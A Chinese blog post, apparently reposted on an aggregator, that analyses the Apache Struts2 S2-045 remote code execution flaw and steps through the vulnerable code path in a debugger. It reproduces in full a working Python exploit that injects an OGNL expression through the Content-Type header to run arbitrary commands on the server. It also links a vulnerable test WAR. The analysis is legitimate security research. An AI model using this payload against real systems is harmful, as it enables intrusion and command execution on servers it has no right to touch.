漏洞分析马后炮 s2-045漏洞分析
来源:互联网 发布:初中听力训练软件下载 编辑:程序博客网 时间:2024/06/03 02:27
漏洞分析马后炮 s2-045漏洞分析
本文包含如下内容:
0x00 目录
- 漏洞分析马后炮 s2-045漏洞分析
- 0x00 目录
- 0x01 环境搭建
- 0x02 PoC分析
- 0x03 代码DEBUG
- evaluate
0x01 环境搭建
现成的符合版本要求的弱环境下载:
https://raw.githubusercontent.com/mottoin/S2-045/master/S2-045.war
0x02 PoC分析
网上下载的exp-s2-045,用来测试漏洞:
#!/usr/bin/python# -*- coding: utf-8 -*-import urllib2import httplibdef exploit(url, cmd): payload = "Content-Type:%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return page
这里先不解释代码,配合后面的DEBUG来解释以上PoC代码。
0x03 代码DEBUG
运行PoC,成功即运行calc,弹出一个计算器
用法为
*.py [url] [cmd]
因为我事先分析过了,先在这里打个断点。
此时计算器还没弹出,我们继续跟进到方法:
getDefaultMessage(String, Locale, ValueStack, Object[], String)
如下是defaultMessage的内容,他包含我们所有的Content-Type内容,我们跟进他在哪里被引用。
the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is 【Content-Type内容】
message被代替成传入的参数
message = defaultMessage
buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
该段为message最后被引用到的地方,跟进到两个方法内,先到如下:
translateVariables(String, ValueStack)
第一次跟进translateVariables方法,发现还是调用的方法,一路跟进,直接看实现具体的实现。
从这两张图可以看出,他继承了接口
com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后立即重写了方法:
com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator.evaluate(String)
最后要知道是,为什么该方法是怎么执行构造的内容的。
先看看这个方法的API
evaluate
Object evaluate(String parsedValue)
Evaluated the value parsed by Ognl value stack.
这里提到Ognl值栈,我们只需要构造Ognl语句,利用Ognl语句获得cmd或者shell。
- 漏洞分析马后炮 s2-045漏洞分析
- s2-045漏洞分析
- S2-033漏洞分析
- S2-045漏洞之简单分析+实战
- Struts2 S2-052漏洞分析
- Struts2漏洞分析与研究之S2-005漏洞分析
- Struts2远程命令执行漏洞 S2-045 源码分析
- Struts2漏洞之S2-016漏洞分析与exp编写
- 【重大漏洞预警】Struts2 远程代码执行漏洞 S2-045 原理初步分析
- struts2 S2-045漏洞
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- Struts2远程代码执行漏洞分析(S2-013)
- Struts2 S2 – 032远程代码执行漏洞分析报告
- Strust2远程代码执行漏洞(S2-033)利用分析
- Strust2远程代码执行漏洞(S2-033)利用分析
- Struts2 S2 – 032远程代码执行漏洞分析报告 .
- Apache Struts2 远程代码执行漏洞(S2-045)技术分析与防护方案
- struts s2-045漏洞修复
- 性能调优-广播大变量
- hibernate注解实体类(Dept.java)
- JavaScript实现简单的计算器
- 一个简单的MyBatis完成插入操作的例子(一)
- hibernate注解实体类(Emp.java)
- 漏洞分析马后炮 s2-045漏洞分析
- Algo-39 数组排序去重
- PTA 找出不是两个数组共有的元素
- 自学OpenCV时遇到的一些错误(捂脸ing,当年确实好多不懂...)
- Win64 驱动内核编程-10.突破WIN7的PatchGuard
- Adroid Studio 使用Lambda的配置
- 水池填数(dfs)
- Maven简单使用(一)
- golang中unsafe包浅析